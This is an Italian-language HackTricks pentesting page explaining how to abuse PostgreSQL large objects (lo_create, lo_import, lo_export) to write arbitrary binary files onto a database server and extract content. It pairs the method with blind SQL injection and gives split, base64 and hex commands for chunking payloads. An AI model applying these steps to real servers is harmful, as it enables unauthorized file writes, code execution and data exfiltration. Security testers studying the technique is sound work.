5.9 KiB
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Oggetti di grandi dimensioni di PostgreSQL
PostgreSQL offre una struttura nota come oggetti di grandi dimensioni, accessibili tramite la tabella pg_largeobject
, progettata per memorizzare tipi di dati di grandi dimensioni, come immagini o documenti PDF. Questo approccio è vantaggioso rispetto alla funzione COPY TO
poiché consente l'esportazione dei dati nel file system, garantendo una replica esatta del file originale.
Per memorizzare un file completo all'interno di questa tabella, è necessario creare un oggetto nella tabella pg_largeobject
(identificato da un LOID), seguito dall'inserimento di frammenti di dati, ognuno di dimensione 2KB, in questo oggetto. È fondamentale che questi frammenti siano esattamente di dimensione 2KB (ad eccezione dell'ultimo frammento) per garantire il corretto funzionamento della funzione di esportazione.
Per dividere i tuoi dati binari in frammenti da 2KB, è possibile eseguire i seguenti comandi:
split -b 2048 your_file # Creates 2KB sized files
Per codificare ogni file in Base64 o Hex, è possibile utilizzare i seguenti comandi:
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
Importante: Quando si automatizza questo processo, assicurarsi di inviare frammenti di 2KB di byte in testo normale. I file codificati in esadecimale richiederanno 4KB di dati per frammento a causa del raddoppio delle dimensioni, mentre i file codificati in Base64 seguono la formula ceil(n / 3) * 4
.
Il contenuto degli oggetti di grandi dimensioni può essere visualizzato per scopi di debug utilizzando:
select loid, pageno, encode(data, 'escape') from pg_largeobject;
Utilizzo di lo_creat
e Base64
Per memorizzare dati binari, viene prima creato un LOID:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
In situazioni che richiedono un controllo preciso, come sfruttare una Blind SQL Injection, lo_create
è preferibile per specificare un LOID fisso.
I frammenti di dati possono quindi essere inseriti come segue:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
Per esportare e potenzialmente eliminare l'oggetto di grandi dimensioni dopo l'uso:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
Utilizzo di lo_import
e Hex
La funzione lo_import
può essere utilizzata per creare e specificare un LOID per un oggetto di grandi dimensioni:
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
Dopo la creazione dell'oggetto, i dati vengono inseriti per pagina, assicurandosi che ogni chunk non superi i 2KB:
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
Per completare il processo, i dati vengono esportati e l'oggetto di grandi dimensioni viene eliminato:
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
Limitazioni
Si nota che gli oggetti di grandi dimensioni possono avere ACL (Access Control Lists), che potrebbero limitare l'accesso anche agli oggetti creati dal tuo utente. Tuttavia, gli oggetti più vecchi con ACL permissive potrebbero ancora essere accessibili per l'esfiltrazione del contenuto.
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.